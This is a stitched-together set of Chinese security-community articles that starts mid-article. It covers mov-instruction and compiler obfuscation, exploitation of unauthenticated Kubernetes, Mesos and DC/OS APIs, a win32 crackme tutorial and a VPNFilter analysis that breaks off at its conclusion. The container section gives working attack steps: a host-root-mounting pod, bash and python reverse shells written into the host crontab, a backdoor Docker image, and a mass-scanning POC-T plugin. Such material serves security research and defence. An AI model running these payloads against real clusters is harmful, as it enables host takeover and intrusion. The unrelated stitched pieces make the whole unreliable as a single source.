nightmare》议题，让我们见识到了，代码混淆的另一种方式，作者演示了所有的机器指令，除过控制流指令外，都用mov指令来实现，很显然，如果人为去理解这样的代码，是很困难的，这个可以看出作者对x86指令深入的理解，让我们大开眼界，下面我就从我的角度来说明下这个背后的原理和一些细节。先来直观的感受下，这些代码指令吧：
图12，mov 混淆代码
源码是这样子的：
图13，源代码
可以看出本来一个很简单的c程序代码,现在混淆的面目全非。
**技术原理：**
[Christopher Domas](https://recon.cx/2015/schedule/speakers/81.html)
的这个议题源自Stephen Dolan的一篇paper《mov is Turing-complete》
所谓图灵完备指的就是如果一个系统的数据操作规则（比如计算机指令集，编程语言）能够模拟任意的单磁带图灵机就成称之为图灵完备。我们主要看看[Christopher
Domas](https://recon.cx/2015/schedule/speakers/81.html)是如何来完成mov obfuscation的。
首先解释一下为什么Chirstopher Domas为什么会选择 mov指令。
Mov指令可以用于内存读写，同时可以将立即数载入到寄存器，并且有不少寻址模式，它没有条件分支和比较的功能，因此貌似不是很显性图灵完备。在有限的时间里执行有限的数量的mov指令序列，为了图灵完备性，除过mov指令外还得再加入跳转指令，这样一来就完全符合图灵完备了。
对于mov指令来说，不能实现跳转，代码的执行流就只有一种，所以需要跳转指令来帮助实现跳转来完成真正意义上的图灵完备。
**所以整体上说代码流如下:**
Start:
mov …
mov …
mov …
mov …
mov …
mov …
jmp Start
**mov模拟其他指令伪代码：**
case 1: // mov检查值是否相等：
x==y?
mov [x], 0
mov [y], 1
mov R, [x]
很显然当x==y的时候R的值就是1，否则为0。
Case2：//条件分支指令
IF X == Y THEN
X=100
对于这种分支代码，设置一个Selector(相当于一个指针)，一个data内存区域存放的数据是100，一个scratch
内存区，是存放的原始x的原始值，如果x的值与y的值相等的话就将selector的指向data区，如果不等就将selector指向scratch区域。
从上图我们可以总结出具体的实现原理是这样的：
int* select_x[]={&DUMMY_X , &X}
*select_x[x==y]=100
即selector就是一个包含有假的X地址(DUMMY_X)与X的真实地址的数组，如果X等于Y则select_x[x==y]指向第二个元素，并给*X赋值等于100，否则selector_x[x==y]是DUMMY_X。
模拟代码:
mov eax,[X]
mov [eax],0
mov eax,[Y]
mov [eax],4
mov eax,[X]
mov eax,[Select_x+eax]
mov [eax],100 ;X=100
在这里可以看出作者很巧妙的利用x86指令内存排布特性分别在X
,Y,所代表的内存地址放置值0,4，这刚好是DUMMY_X与X地址的偏移，这样[Select_x+eax]就指向了DUMMY_X或者X，最后赋值X或者DUMM_X,实现了上面的整个的过程。这里可以看出代码比正常的汇编指令膨胀了不少。正常汇编指令最多4条就够了，这里用到了7条，很显然现在代码不是那么容易理解了。
**一些模拟指令序列:**
**两个值相等**
%macro eq 3
mov eax, 0
mov al, [%2]
mov byte [e+eax], 0
mov byte [e+%3], 4
mov al, [e+eax]
mov [%1], al
%end macro
其中%2 %3 为要比较的两个值，%1为比较的结果。
**两个值不等·**
%macro neq 3
mov eax, 0
mov al, [%2]
mov byte [e+eax], 4
mov byte [e+%3], 0
mov al, [e+eax]
mov [%1], al
%endmacro
neq与eq的差别就在第三条与第四条指令中，赋值的区别，
创建一个选择器
; create selector
%macro c_s 1
%1: dd 0
d_%1: dd 0
s_%1: dd d_%1, %1
%endmacro
即一个4字节的内存块，包含两个元素 %1 ,d_%1
关于循环与分支
Extend the if/else idea
On each branch
If the branch is taken
Store the target address
Turn execution “off”
If the branch is not taken
Leave execution “on”
解释下上面的意思,分支代码被触发的时候，保存目标地址代码，置位该执行为关闭状态，
如果分支代码没有被执行，置位离开执行块状态。
On each operation
If execution is on
Run the operation on real data
If execution is off
Is current address the stored branch target?
Yes?
Turn execution “on”
Run operation on real data
No?
Leave execution “off”
Run on dummy data
如果执行块开启，执行真实代码，如果执行块关闭，先判断当前地址是否存储了目标指令代码，如果是，将执行体置位为on，执行代码。如果不是，置离开执行体为off，执行dummy
data中的代码。关于mov 混淆的更多的细节，可以查看去年recon的议题与相关的视频。
**2.3.3编译器混淆**
利用编译器进行混淆的样本不是很常见，但是这类的样本将会成为一个新的发展方向。
编译器代码混淆就是在编译器生成二进制代码的时候插入混淆代码。下面简单的介绍下一个实例。
**2.3.3.1 tcc编译器的混淆**
原理就是在tcc生成机器码的时候加入混淆函数。作者patch了tcc编译器加入了一些混淆的指令：
插入混淆代码序列的过程
for (i=0; i<t; i++)
{ int q;
q=rand_reg (0, 4);
switch (q)
{
case 0: // add
rrr=genrand(); curval=curval+rrr;
o(0x81); oad(0xc0 | (0 << 3) | r, rrr); // add
break;
case 1: // sub
rrr=genrand(); curval=curval-rrr;
o(0x81); oad(0xc0 | (5 << 3) | r, rrr); // add
break;
case 2: // shl
rrr=genrand()&0x7; curval=curval<<rrr;
o(0xc1); /* shl/shr/sar $xxx, r */
o(0xe0 | r);
g(rrr);
break;
case 3: // shr
rrr=genrand()&0x7; curval=curval>>rrr;
o(0xc1); /* shl/shr/sar $xxx, r */
o(0xe8 | r);
g(rrr);
break;
case 4: // xor
rrr=genrand(); curval=curval^rrr;
o(0x81); oad(0xc0 | (6 << 3) | r, rrr); // xor
break;
};
首先随机选取了寄存器，Genrand()是产生随机数的函数,o()是产生opcode的函数，oad（）是产生指令其余部分的函数。每次随机选取一个寄存器，然后对选取的寄存器产生对应的混淆指令。
对于call指令会产生这样的代码：
对应的代码如下：
就是在原始的call 之前加入代码，最后jmp到原来的流程，然后返回继续执行下面的流程。还有很多的细节这里就不一一介绍了，如果感兴趣可以自己研究下源码。
**3.如何反混淆**
从上面可以看出混淆技术的种类繁多，但是也是有层次的，对于海量样本的处理，反混淆流程是必须的，也是一个很重要的流程，怎么做，如何做，这将直接影响到对恶意样本的分类，数据提炼效果上，所以这是一个很有意义的话题，关于如何反混淆，将会在后续的文章谈到。
****
**参考文献：**
1\.
[https://en.wikipedia.org/wiki/Turing_completeness](https://en.wikipedia.org/wiki/Turing_completeness)
2\. [https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/turing-machine/one.html](https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/turing-machine/one.html)
3\.
[https://en.wikipedia.org/wiki/Turing_machine](https://en.wikipedia.org/wiki/Turing_machine)
4\. [https://recon.cx/2015/slides/recon2015-14-christopher-domas-The-movfuscator.pdf](https://recon.cx/2015/slides/recon2015-14-christopher-domas-The-movfuscator.pdf)
5\. [http://conus.info/stuff/tcc-obfuscate/](http://conus.info/stuff/tcc-obfuscate/) | 社区文章 |
作者： **[岚光](https://0x0d.im/archives/attack-container-management-platform.html)**
#### 0x00 前言
随着大数据时代的到来，容器化技术（Containerization）运用地越来越广泛，容器集群管理平台也应运而生。
当前主流的容器集群管理技术，包括 Docker 官方的 `Docker Swarm`、Apache 的 `Mesos` 和 Google 的
`Kubernetes`。
其中 Docker Swarm 使用了 Docker 原生的标准 API 来管理容器，另外的 Mesos 和 Kubernetes 都采用了自己的实现方式。
大家或许还记得之前影响广泛的 `Docker Remote API`（2375 端口）未授权漏洞，那么其他的容器管理平台是否也会存在类似的问题呢？
#### 0x01 Kubernetes
根据[官方文档](https://kubernetes.io/docs/admin/accessing-the-api/#api-server-ports-and-ips)，API Server 默认会开启两个端口：`8080` 和 `6443`。
其中 8080 端口无需认证，应该仅用于测试。6443 端口需要认证，且有 TLS 保护。
直接访问 8080 端口会返回可用的 API 列表，如：
{
"paths": [
"/api",
"/api/v1",
"/apis",
"/apis/extensions",
"/apis/extensions/v1beta1",
"/healthz",
"/healthz/ping",
"/logs/",
"/metrics",
"/resetMetrics",
"/swagger-ui/",
"/swaggerapi/",
"/ui/",
"/version"
]
}
而直接访问 6443 端口会提示无权限：`User "system:anonymous" cannot get at the cluster scope.`
在 [Zoomeye](https://www.zoomeye.org/) 搜索：`metrics healthz`，可以看到使用 Kubernetes
最多是`中国`和`美国`。
其中 443 和 8443 端口几乎都是 `OpenShift Origin`，一个基于 Kubernetes 的企业版容器管理平台，默认需要认证。
访问 `/ui` 会跳转到 `dashboard` 页面，可以创建、修改、删除容器，查看日志等。
Kubernetes 官方提供了一个命令行工具 [kubectl](https://kubernetes.io/docs/user-guide/kubectl-overview/)。使用 `kubectl` 不仅能完成图形界面上的操作，还有个特殊的功能——在容器中执行命令，类似
`docker` 里的 `exec` 。
// 获得所有节点
> kubectl -s http://1.2.3.4:8080/ get nodes
// 获得所有容器
> kubectl -s http://1.2.3.4:8080/ get pods --all-namespaces=true
// 在 myapp 容器获得一个交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
当然，如果可以控制容器的运行，我们也可以尝试获取宿主机（即 `nodes`）的权限。
参考 [Docker Remote API 未授权访问漏洞利用](http://joychou.org/index.php/web/docker-remote-api-unauthorized-access.html)，流程大体为创建新的容器 -> 挂载宿主机目录 -> 写
`/etc/crontab` 定时任务反弹 shell。
根据 Kubernetes
文档中[挂载节点目录](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)的例子，可以写一个
`myapp.yaml`，将节点的根目录挂载到容器的 `/mnt` 目录。
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: test-container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
然后使用 kubectl 创建容器：
// 由 myapp.yaml 创建容器
> kubectl -s http://1.2.3.4:8080/ create -f myapp.yaml
// 等待容器创建完成
// 获得 myapp 的交互式 shell
> kubectl -s http://1.2.3.4:8080/ --namespace=default exec -it myapp bash
// 向 crontab 写入反弹 shell 的定时任务
> echo -e "* * * * * root bash -i >& /dev/tcp/127.0.0.1/8888 0>&1\n" >> /mnt/etc/crontab
// 也可以用 python 反弹 shell
> echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
稍等片刻接收到反弹的 shell：
#### 0x02 Mesos
根据[官方文档](http://mesos.apache.org/documentation/latest/configuration/)，`Mesos
master` 默认监听 `5050` 端口。
Mesos 主界面：
Mesos 的 API 可参考 [HTTP
Endpoints](http://mesos.apache.org/documentation/latest/endpoints/)。
比较有用的一个 API 是 `/flags`，可以查看系统的配置情况，包括是否开启权限认证。
Mesos 从 `1.2` 版开始才有了 exec 进入容器的功能：[Mesos Support for Container Attach and
Container Exec](https://issues.apache.org/jira/browse/MESOS-6460)。
值得吐槽的是 Mesos 的命令行工具居然没有文档，原因是 CLI 依然有很多功能缺失需要重构：[A full redesign of the Mesos
CLI](https://issues.apache.org/jira/browse/MESOS-5676)。好在有一个 [Design Doc:
Mesos
CLI](https://docs.google.com/document/d/1r6Iv4Efu8v8IBrcUTjgYkvZ32WVscgYqrD07OyIglsA/)
可供参考。
又因为没有一个专门的 Mesos CLI 工具，唯一的一个 [mesosphere/mesos-cli](https://github.com/mesosphere/mesos-cli) 也有两年没更新了，所以只能安装 Mesos 来使用命令行。
在 `Ubuntu 16.04` 下安装：
// 添加源
> cat << EOF >> /etc/apt/sources.list.d/mesosphere.list
deb http://repos.mesosphere.com/ubuntu xenial main
EOF
// 更新
> apt-get update
// 如果出现签名问题需要导入 public key
// > apt-key adv --keyserver keyserver.ubuntu.com --recv-keys DF7D54CBE56151BF
// 安装 mesos
> apt-get -y install mesos
安装完成后可以对 `Agent` 下发任务执行命令（Mesos 版本均为 1.3）：
// 设置目标 URL
> mesos config master 1.2.3.4:5050
// 列出正在运行的容器
> mesos ps
// 执行命令（无回显）
> mesos execute --master=1.2.3.4:5050 --name=test --command='curl 127.0.0.1/`hostname`'
可惜在 Docker Volume Support in Mesos Containerizer
中未能找到挂载宿主机（Agent）目录的办法，所以无法逃出沙箱获得宿主机权限。
#### 0x03 DCOS
`Mesosphere DCOS` 是基于 Apache Mesos 的商业化版本。
根据[官方文档](https://dcos.io/docs/1.9/api/master-routes/)，`API Router` 的默认端口是
`80`（HTTP）和`443`（HTTPS）。
DCOS 主界面：
相比于 Mesos，DCOS 的对应 API 前多了 `/mesos/`，如在 Mesos 中查看版本号是 `/version`，在 DCOS 中则是
`/mesos/version`。
访问 `/dcos-metadata/dcos-version.json` 可查看 DCOS 的版本号。
访问 `/exhibitor/` 是 DCOS 自带的 `Zookeeper` 管理工具：
访问 `/marathon/` 是自带的框架（Framework） `Marathon`：
DCOS 提供了一个强大的[命令行工具](https://dcos.io/docs/1.9/cli/)，和 Kubernetes
的类似，也可以进入容器执行命令。
参考 [Using dcos task
exec](https://docs.mesosphere.com/1.9/monitoring/debugging/task-exec/)，测试一下执行命令（DCOS v1.6.1，DCOS CLI v1.9）：
// 设置目标 URL
> dcos config set core.dcos_url http://1.2.3.4
// 根据文档创建一个描述文件
> dcos marathon app add my-app.json
// 在执行 my-app 执行 hostname 命令
> dcos task exec my-app hostname
No container found for the specified task. It might still be spinning up. Please try again.
// 添加一个任务
> dcos job add my-job.json
DC/OS backend does not support metronome capabilities in this version. Must be DC/OS >= 1.8
居然不能在 `my-app` 执行命令，可能是 DCOS 版本过低所致，那如果运行一个 Docker 容器呢：
> dcos task exec my-docker hostname
This command is only supported for tasks launched by the Universal Container Runtime (UCR).
根据 [Universal Container Runtime
(UCR)](https://docs.mesosphere.com/1.9/deploying-services/containerizers/ucr/)，`container type` 需要指定为 `MESOS` 才能执行命令，但 UCR
是有[限制](https://docs.mesosphere.com/1.9/deploying-services/containerizers/ucr/#limitations)的：
> The UCR does not support the following: runtime privileges, Docker options,
> force pull, named ports, numbered ports, bridge networking, port mapping,
> private registries with container authentication.
所以如果使用 UCR 的话，Docker 将无法挂载外部目录。而如果使用已有的 Docker 基础镜像的话，无法执行我们需要的命令。
想了一下可以用构建自己 Docker 镜像的方法绕过。
参考 [Deploying a Docker-based
Service](https://docs.mesosphere.com/1.9/deploying-services/creating-services/deploy-docker-app/)，去 https://hub.docker.com 注册一个账号，假设用户名为
`test`，创建一个公开的 Repository: `backdoor`。
编写 `Dockerfile`：
FROM alpine
# 容器启动时执行命令
CMD echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab
构建 Docker 镜像并推送到 Docker hub：
> docker build -t test/backdoor .
> docker login
> docker push test/backdoor
写配置文件，使用 `backdoor` 镜像且挂载宿主机根目录到 `/mnt`：
{
"id": "backdoor",
"container": {
"type": "DOCKER",
"volumes": [
{
"containerPath": "/mnt",
"hostPath": "/",
"mode": "RW"
}
],
"docker": {
"image": "test/backdoor",
"network": "BRIDGE",
"privileged": true
}
},
"acceptedResourceRoles": ["slave_public"],
"instances": 1,
"cpus": 1,
"mem": 1024
}
最后添加容器到 Marathon：`dcos marathon app add backdoor.json`。
稍等片刻获得反弹的 shell：
#### 0x04 批量验证
以 Kubernetes 为例，用 [POC-T](https://github.com/Xyntax/POC-T) 可以很方便地从 `Zoomeye` 的
API 获取数据并进行验证。写一个插件试试：
#!/usr/bin/env python
# -*- coding: utf-8 -*- # project = https://github.com/Xyntax/POC-T
# author = Oritz
"""
Kubernetes api 未授权访问
需要安装 kubectl
curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.6.1/bin/linux/amd64/kubectl
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
Usage:
python POC-T.py -s kubernetes-unauth -aZ "healthz metrics country:cn" --limit 1000
"""
import subprocess
import requests
from plugin.useragent import firefox
def poc(url):
if '://' not in url:
url = 'http://' + url
if '443' in url:
url = url.replace('http:', 'https:')
try:
g = requests.get(url, headers={'User-Agent': firefox()}, timeout=3, verify=False)
if g.status_code is 200 and 'healthz' in g.content and 'metrics' in g.content:
pods = subprocess.Popen("kubectl -s %s get pods --all-namespaces=true -o=wide" % url,
stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=open("/dev/null", "w"), shell=True)
output = pods.communicate()[0].decode("utf-8")
if "Please enter Username" not in output and "Error from server" not in output:
with open("k8s.txt", "a") as f:
f.write(url + "\n" + output + "\n")
return url
except Exception:
pass
return False
部分结果放在了 gist
上：[k8s.cn.txt](https://gist.github.com/Oritz/cef2d915397cd8211300adb519325dbf)
#### 0x05 偶遇挖矿
在研究过程中发现了部分未授权的 DCOS 被用来挖矿，如查看 DCOS 的任务日志：
在 Zookeeper 的任务配置里也可以看到：
图中的命令和常见的批量扫描主机漏洞并植入挖矿软件的程序很像，所以不大可能是管理员自己运行的。 不过查了一下 Github 上其实早就有开源的[基于
Mesos 的分布式比特币挖矿程序](https://github.com/derekchiang/Mesos-Bitcoin-Miner/)了，因为容器管理平台的资源一般都很充裕，可能会成为矿工们的新目标。
#### 0x06 总结
文中主要介绍了 Kubernetes 和 Mesos
未授权漏洞的利用方式和获得宿主机权限的攻击方式。容器管理平台未授权访问不仅会泄露容器中的代码、数据库等敏感文件，还有可能导致宿主机被控制进入内网，产生更大的危害。
参考 [Security Best Practices for Kubernetes
Deployment](http://blog.kubernetes.io/2016/08/security-best-practices-kubernetes-deployment.html)，在安装和运行容器管理平台时，遵循以下几点可提高安全性：
* 配置防火墙，禁止敏感端口对外开放
* 对管理端口加上认证
* 使用安全的镜像（私有镜像仓库）
* 设置容器资源限额
* 容器以非 root 用户运行
文中还有两个问题没有解决：
* Apache Mesos 如何挂载宿主机目录
* DCOS 在容器中执行命令是否有更好的方式
如果有意见和建议，欢迎提出。
#### 0x07 参考
* [容器集群管理工具各项对比](https://segmentfault.com/a/1190000005185138)
* [巅峰对决之 Swarm、Kubernetes、Mesos](http://dockone.io/article/1138)
* [Docker Remote API 未授权访问漏洞利用](http://joychou.org/index.php/web/docker-remote-api-unauthorized-access.html)
* [Security Best Practices for Kubernetes Deployment](http://blog.kubernetes.io/2016/08/security-best-practices-kubernetes-deployment.html)
* * * | 社区文章 |
# 深入理解win32（五）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在上一节中我们初步了解到了资源文件和如何在od中定位对话框的回调函数，今天我们来通过之前所学的知识来破解一个简单的小程序以及如何提取图标和寻找标题在资源文件中的位置。
## 程序练习
首先找到正确函数
在恭喜对话框前有一个`test eax,eax`语句，这个语句的作用是结果是1返回1，结果不为1都返回0，
继续往上看到有一个函数调用，f7跟进去看看，找到了编辑框、句柄以及获取编辑框内容的函数
这里往下跟一下eax，看一下eax进行了什么操作可以看到到函数的最后有两个`retn`
第一个`retn`的eax做了`mov eax,0x1`的操作，也就是说从第一个出口出去的eax肯定为1
第二个`retn`的eax做了`xor eax,eax`的操作，也就是说从第二个出口出去的eax肯定为0
那我们就可以猜测到如果条件成立就从第一个`retn`出去返回成功的`messagebox`，如果条件不成立就从第二个`retn`出去返回失败的`messagebox`
继续往上看可以发现有两个jnz语句直接跳转到了下面那个`retn`的地方，而这两个jnz语句上面都是cmp语句
所有就是判断`ecx == 0x3`和`ecx == 0x5`是否实现
继续往上看一下ecx的操作，可以发现这里在ecx的处理中用到了`repne scas`这个指令，但是这里没有接触过就先不管，单步跟一下看看
这里主要就是看一下这个`repne scas`前后的变化，在`repne scas`之前把ecx置为-1，把eax置为0
可以看到执行语句之后ecx的值+1，edi的值+1
这里我们再看一下之前没有接触过语句的含义
> * repne scasb 一般用来计算字符串的长度
>
>
> ①scasb 来判断al数据是否在edi中，配合repne来使用（(当不为零时继续遍历)。该指令常用来判断字符串的长度。
>
> ②其思路是将ecx置为-1(计数器)，eax置为0（字符串结尾)，之后每扫描一个ecx会再次减少1，当edi中找到0时其会终止。
>
> ③此时ecx存储的是长度的负数，之后将not ecx来获取其长度，然后dec
> ecx(因为从1开始计数并非0开始计数)，之后ecx就是存储着字符串的正确长度了。
00401060 |. 83C9 FF or ecx,0xFFFFFFFF //ecx置1
00401063 |. 33C0 xor eax,eax //eax置0
00401065 |. F2:AE repne scas byte ptr es:[edi] //判断长度
00401067 |. F7D1 not ecx //获取长度
00401069 |. 49 dec ecx //长度减1
0040106A |. 83F9 03 cmp ecx,0x3 //比较长度
这里就很明显了，比较ecx中的长度，那么就是第一个编辑框输入的字符的长度为3，第二个编辑框输入的字符的长度为5即可正确
我们尝试一下进行正向代码的还原，如下所示
switch (LOWORD (wParam))
{
case IDC_BUTTON_Login :
//1.先获取文本框的句柄
hEditUser = GetDlgItem(hwndDlg,text1);
hEditPass = GetDlgItem(hwndDlg,text2);
//2.通过句柄得到里面的内容
TCHAR szUserBuff[0x50];
TCHAR szPassBuff[0x50];
GetWindowText(hEditUser,szUserBuff,0x50);
GetWindowText(hEditPass,szPassBuff,0x50);
if (wcslen((const unsigned short *)szUserBuff) == 3)
{
if(wcslen((const unsigned short *)szPassBuff) == 5)
{
debugprintf("恭喜!");
//MessageBox(NULL,TEXT("恭喜!"),TEXT("OK"),MB_OK);
}
}
}
## 添加图标
点击插入图标
右侧点击引入并改名为`IDI_ICON_BIG`和`IDI_ICON_SMALL`，大图标就是在使用alt+tab切换的时候显示的图标，小图标就是其他时候使用的图标
到`resource.h`文件可以看到多了两个宏
**LoadIcon**
HICON LoadIcon(
HINSTANCE hInstance,
LPCTSTR lpIconName);
> * _hInstance_ [in] Handle to an instance of the module whose executable
> file contains the icon to be loaded. This parameter must be NULL when a
> standard icon is being loaded.
> * _lpIconName_ [in] Long pointer to a null-terminated string that contains
> the name of the icon resource to be loaded. Alternatively, this parameter
> can contain the resource identifier in the low-order word and zero in the
> high-order word. Use the
> [**MAKEINTRESOURCE**](_wcesdk_win32_makeintresource.htm) macro to create
> this value.
>
使用`LoadIcon`获取图标，图标会触发`WM_INITDIALOG`事件，所以这里设置一下
这里的需要用到`hInstance`参数，首先定义一下
到这里我们的图标就已经添加成功了
代码如下
HICON hBigIcon;
HICON hSmallIcon;
case WM_INITDIALOG :
hBigIcon = LoadIcon (hIconInstance, MAKEINTRESOURCE (IDI_ICON_BIG));
hSmallIcon = LoadIcon (hIconInstance, MAKEINTRESOURCE (IDI_ICON_SMALL));
return TRUE ;
**SendMessage**
LRESULT SendMessage(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam );
> * _hWnd_ [in] Handle to the window whose window procedure will receive the
> message. If this parameter is HWND_BROADCAST, the message is sent to all
> top-level windows in the system, including disabled or invisible unowned
> windows, overlapped windows, and pop-up windows; but the message is not sent
> to child windows.
> * _Msg_ [in] Specifies the message to be sent.
> * _wParam_ [in] Specifies additional message-specific information.
> * _lParam_ [in] Specifies additional message-specific information.
>
使用`SendMessage`显示图标
SendMessage(hwndDlg,WM_SETICON,ICON_BIG,(DWORD)hBigIcon);
SendMessage(hwndDlg,WM_SETICON,ICON_SMALL,(DWORD)hSmallIcon);
查看一下效果
## 定位标题并修改
首先把生成的exe拿出来
用LoadPE打开找到对话框
点击保存到桌面
使用winhex打开res.dmp，可以发现在资源文件里面所有字符都是Unicode
搜索一下字符串
这里我将名字全部修改为D并保存
可以看到修改成功了 | 社区文章 |
# 简介
VPNFilter恶意软件的代码与BlackEnergy恶意软件有重叠，而BlackEnergy恶意软件对乌克兰的目标设备发起了多次大规模攻击。而VPNFilter也以惊人的速度感染了乌克兰的主机，使用的C2基础设施也是专门针对乌克兰的。
该攻击活动的规模和能力都是让人担忧的。研究人员预计有超过54个国家的50万设备被感染。已知受VPNFilter影响的设备有家用和小型办公场所使用的Linksys,
MikroTik, NETGEAR,TP-Link网络设备，以及QNAP
NAS设备。VPNFilter在网络设备上的行为也是让人担忧的，因为恶意软件的组件会窃取网站的身份凭证并监控Modbus SCADA协议。
最后，恶意软件还有一个破坏性的能力，就是让受感染的设备无法使用。这可以在单个设备上触发，也可以大规模地触发，比如同时切断上万设备的网络连接。
被攻击的终端设备也很难防护，因为这些设备一般都位于网络的边界，没有IPS的保护，也没有可用的基于主机的保护系统。从已知的情况来看，目前大多数被攻击的设备，尤其是在一些旧的系统（固件）版本中，都有公开的漏洞或使用默认凭证。
# 技术总结
VPNFilter恶意软件是一个多阶段的、支持多平台的进行情报收集和破坏性的网络攻击活动。
在stage 1，恶意软件通过重启来达到驻留的目的。因为大多数的攻击物联网设备的恶意软件在重启后都不能存留。Stage
1的主要目的是完成驻留和启用stage 2的恶意软件。Stage 1使用了多个冗余的C2机制来发现当前stage
2阶段的服务器，这让恶意软件在应对C2基础设施的变化上极具鲁棒性。
Stage 2的恶意软件在重启之后是不能驻留的，具有情报收集的功能，包括文件收集、命令执行、数据泄漏和设备管理等。但一些版本的stage
2还具有自破坏的能力，可以覆写设备固件的关键部分、重启设备，让设备不可用。基于攻击者对这些设备和对stage
2现有能力的了解，研究人员认为攻击者对所控制的大多数的设备都使用了自毁命令。
还有多个stage 3模块作为stage 2恶意软件的插件。这些插件提供给stage 2的恶意软件一些额外的功能，包括收集流量的packet
sniffer和允许stage 2与Tor进行通信的模块。研究人员认为还有其他的模块没有被发现。
# 情报讨论
研究人员认为该恶意软件是用来创建一个服务与攻击者多个运营需求的基础设计。因为这些受感染的设备是被企业或个人合法拥有的，所以这样设备的活动可能会被错误地认为是受害者本人。因为恶意软件内置了不同的能力和插件，这可以让攻击者以多种方式去利用设备。
恶意软件可以被用来收集流经设备的数据。这可以直接作为数据收集使用，或判定网络的潜在价值。如果网络对攻击者来说有潜在的价值，攻击者可能会继续收集流经设备的数据，或通过该设备传播到互联的网络来收集数据。价值目前，研究人员没有发现可被利用的stage
3插件。但研究人员发现了一些线索，研究人员认为这些高级单元非常有可能会含有该模块中恶意软件所拥有的功能。
最后，恶意软件可以用kill命令来进行大规模地破坏性活动，这会使用大量的物理设备不可用。这个命令在很多stage 2的样本中出现过，但可以用所有的stage
2样本中的exec命令来触发。在大多数的例子中，对大多数的受害者来说，这个动作是不可逆的，因为首先需要技术能力、还需要了解原理、受害者还需要有必要的工具。
# 如何应对威胁
因为受感染的设备的一些天生的性质，导致了应对威胁困难重重。许多设备都是直接联网的，在这些设备和潜在的攻击者之间是没有安全设备和服务的。而且许多设备都有已被公开的漏洞，但普通用户可能并没有去修复这些漏洞。而且这些设备本身都没有内置的反恶意软件能力。这三个事实就决定了应对威胁非常困难，也就说明很难去限制恶意软件、移除漏洞或者拦截威胁。
# 建议
研究人员提出了以下建议：
使用SOHO路由器或NAS设备的用户应该重置设备到工厂模式的默认配置，并重启设备来移除潜在的stage 2和stage
3阶段的恶意软件。提供SOHO路由器的ISP应该以为客户去考虑，重启路由器。如果用户的设备有上面提到的漏洞，那么用户应该确保设备的固件版本和系统是最新的。ISP和厂商都应该参与这一环节。
# 多stage技术分析
### 利用
截止发稿，研究人员仍不清楚威胁单元是如何利用这些受影响的设备的。但所有这些受影响的设备和型号都有一个共同点：拥有公开的漏洞。因为高级的威胁者一般都会用最小的资源代价去完成目的，所以研究人员认为VPNFilter没有使用0day利用技术。
### STAGE 1 (PERSISTENT LOADER)
VPNFilter的stage 1恶意软件感染的设备运行的固件都是基于Busybox和Linux的，这些固件会编译为不同的CPU架构。Stage
1阶段的恶意软件的主要目的就是定位提供stage 2恶意软件的服务器，并在受感染的设备上下载和保持驻留。可以通过修改一些非易失性设置（non-volatile configuration
memory，NVRAM）的值，把自己加入到crontab中来达到驻留的目的。这与Mirai这样的物联网恶意软件是不同的，因为那些恶意软件在设备重启后就消失了。
研究人员分析了MIPS和x86处理器的样本，发现C2通信和其他的恶意软件下载是通过Tor和SSL加密连接完成对。当二进制文件本身没有混淆的话，一些字符串是以一种加密的形式保存的，只有在运行时才会解密。加密的路径看起来与RC4有点类似，但看起来恶意软件的作者将S-box的初始化弄错了。在排列的步骤中，值进行了XOR运算而不是交换。对RC4应用的分析说明了与BlackEnergy中的应用是一样的。
RC4初始化过程会对内部状态初始化阶段的值进行XOR运算。就如上面的最后一个基本区块中描述的一样，代码不会交换S[i]和S[j]的值。
一旦恶意软件完成初始化过程，就会从seed
URL下载页面。在样本中，缓存指向的是Photobucket.com，一个图片分享的主机。恶意软件会从URL的图片库中下载第一张图片，然后提取下载服务器的IP地址。IP地址是从图片EXIF信息的GPS经纬度提取的。
如果stage
1没有成功连接或从Photobucket的图片上获取IP地址，恶意软件就会到备份的域名toknowall[.]com去下载图片，去获取IP地址。
如果这个连接备份域名的过程也失败了，stage
1就会开启一个监听器来等待特殊的触发包来建立一个攻击者与设备之间的连接。监听器开启后，就会从api.ipify[.]org检查公网的IP地址，并保存进行后续的比较。当有包到达端口，监听器就会执行检查来识别触发包。
如果包满足预设的标准，就从包中提取IP地址然后尝试stage 2的下载。
### STAGE 2 (非驻留)
Stage
2恶意软件首先会创建一个模块文件夹(/var/run/vpnfilterm)和工作目录(/var/run/vpnfilterw)来完成整个工作环境的设定。之后会运行loop，首先会到达C2服务器，然后执行从C2服务器获取的命令。这些命令是用RC4啊加密的。幸运的是，老版本的x86
stage2样本非常冗长，debug会打印执行的所有步骤。X86 stage 2的新版本并不含有debug print，MIPS样本中也没有。
### STAGE 3 (非驻留)
研究人员分析了恶意软件的两个插件莫款，恶意软件用packet sniffer和通信插件通过Tor通信。packet
sniffer会检查所有的网络流量，并寻找HTTP基本认证使用的字符串。然后记录Modbus TCP/IP包，产生的日志保存在stage
2的工作目录下/var/run/vpnfilterw。这让攻击者可以理解、获取、记录流经设备的流量。
Tor插件模块是与stage 2关联的，但还有一个单独的Tor可执行文件要下载到/var/run/tor目录中，并以一个与stage
2独立的进程去运行。Tor二进制文件看起来是一个标准的Tor客户端，会在/var/run/torrc和工作目录/var/run/tord创建配置文件。
# 结论
